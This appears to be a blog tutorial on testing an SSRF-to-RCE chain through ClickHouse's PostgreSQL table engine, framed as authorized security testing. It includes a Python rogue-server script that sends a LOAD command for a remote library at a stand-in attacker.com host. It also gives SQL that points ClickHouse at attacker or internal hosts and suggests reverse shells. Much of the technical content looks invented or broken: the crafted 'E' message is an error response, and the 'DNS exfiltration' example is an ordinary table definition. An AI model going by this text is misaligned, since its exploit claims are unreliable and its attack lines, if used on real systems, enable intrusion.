coding by Promptsicle Team

ClickHouse PostgreSQL SSRF to RCE Chain Testing

Security researchers demonstrate exploiting Server-Side Request Forgery vulnerabilities in ClickHouse's PostgreSQL integration to achieve remote code execution

ClickHouse PostgreSQL SSRF to RCE Chain Testing

Security researchers testing cloud-hosted ClickHouse deployments need reliable methods to validate Server-Side Request Forgery (SSRF) vulnerabilities that can escalate to Remote Code Execution. This attack chain exploits ClickHouse’s PostgreSQL table engine integration, where misconfigured instances allow attackers to force the database server to make arbitrary network requests and potentially execute malicious code.

Attack Chain Overview

The vulnerability chain begins with ClickHouse’s PostgreSQL table engine, which enables querying external PostgreSQL databases. When ClickHouse connects to a malicious PostgreSQL server, the attacker controls the server’s responses. By crafting specific PostgreSQL protocol messages, an attacker can trigger ClickHouse to load shared libraries from attacker-controlled locations, achieving code execution on the ClickHouse server.

The SSRF component allows attackers to bypass network restrictions by forcing ClickHouse to initiate connections from its trusted network position. The RCE escalation occurs through PostgreSQL’s library loading mechanisms, specifically targeting the LOAD command or authentication plugins that trigger dynamic library loading.

Testing this chain requires setting up a malicious PostgreSQL server that responds with carefully crafted protocol messages. Security teams use this technique to validate whether their ClickHouse instances properly restrict external database connections and sanitize PostgreSQL protocol interactions.

Environment Setup

Testing requires three components: a ClickHouse instance, a malicious PostgreSQL server, and a payload delivery mechanism. The malicious PostgreSQL server must implement enough of the protocol to trigger library loading attempts.

A basic Python-based malicious PostgreSQL server can be constructed using the socket library:

import socket
import struct

def create_malicious_postgres_server(port=5432):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', port))
    server.listen(1)
    
    conn, addr = server.accept()
    # Send authentication request with malicious library path
    auth_msg = b'R' + struct.pack('!I', 8) + struct.pack('!I', 10)
    conn.send(auth_msg)
    
    # Trigger library load with crafted response
    load_msg = b'E' + struct.pack('!I', 50) + b'LOAD "http://attacker.com/evil.so"'
    conn.send(load_msg)

The ClickHouse test instance should be configured with network access to the malicious server. Testers create a PostgreSQL table engine pointing to the malicious endpoint:

CREATE TABLE test_ssrf ENGINE = PostgreSQL('malicious-server:5432', 'db', 'table', 'user', 'pass');
SELECT * FROM test_ssrf;

When ClickHouse executes the query, it connects to the malicious PostgreSQL server, which sends responses designed to trigger library loading.

Validation Techniques

Successful exploitation produces observable indicators. Network monitoring tools should capture outbound connections from ClickHouse to the malicious PostgreSQL server and subsequent HTTP requests for the shared library payload. Process monitoring reveals library loading attempts through system calls like dlopen() or LoadLibrary().

Testers verify SSRF by monitoring connection attempts to internal network resources. The PostgreSQL engine can be directed at internal services by specifying private IP addresses or internal hostnames. Successful connections indicate SSRF vulnerability, even without achieving RCE.

RCE validation requires confirming code execution. Testers typically use benign payloads that create marker files, establish reverse shells to controlled infrastructure, or execute commands that generate observable network traffic. DNS exfiltration through specially crafted library names provides a low-impact validation method:

CREATE TABLE ssrf_test ENGINE = PostgreSQL('10.0.0.5:5432', 'db', 'table', 'user', 'pass');

Monitoring for DNS queries to attacker-controlled domains confirms the vulnerability chain.

Testing Constraints

This testing methodology faces several practical limitations. Modern ClickHouse versions implement stricter controls on external database connections, including allowlist-based hostname validation and disabled library loading from remote sources. Cloud-hosted ClickHouse instances often run in restricted network environments that prevent outbound connections to arbitrary hosts.

The PostgreSQL protocol implementation in ClickHouse may not support all message types that trigger library loading, requiring extensive protocol reverse engineering to identify working exploitation paths. Different ClickHouse versions exhibit varying behaviors, necessitating version-specific testing approaches.

Authentication requirements on production ClickHouse instances limit testing scope. Ethical security testing demands proper authorization and controlled environments to avoid disrupting production systems or violating access policies.

Detection systems increasingly flag unusual PostgreSQL table engine usage patterns, particularly connections to non-standard ports or external networks. Testers must coordinate with security operations teams to prevent false-positive incident responses during authorized testing activities.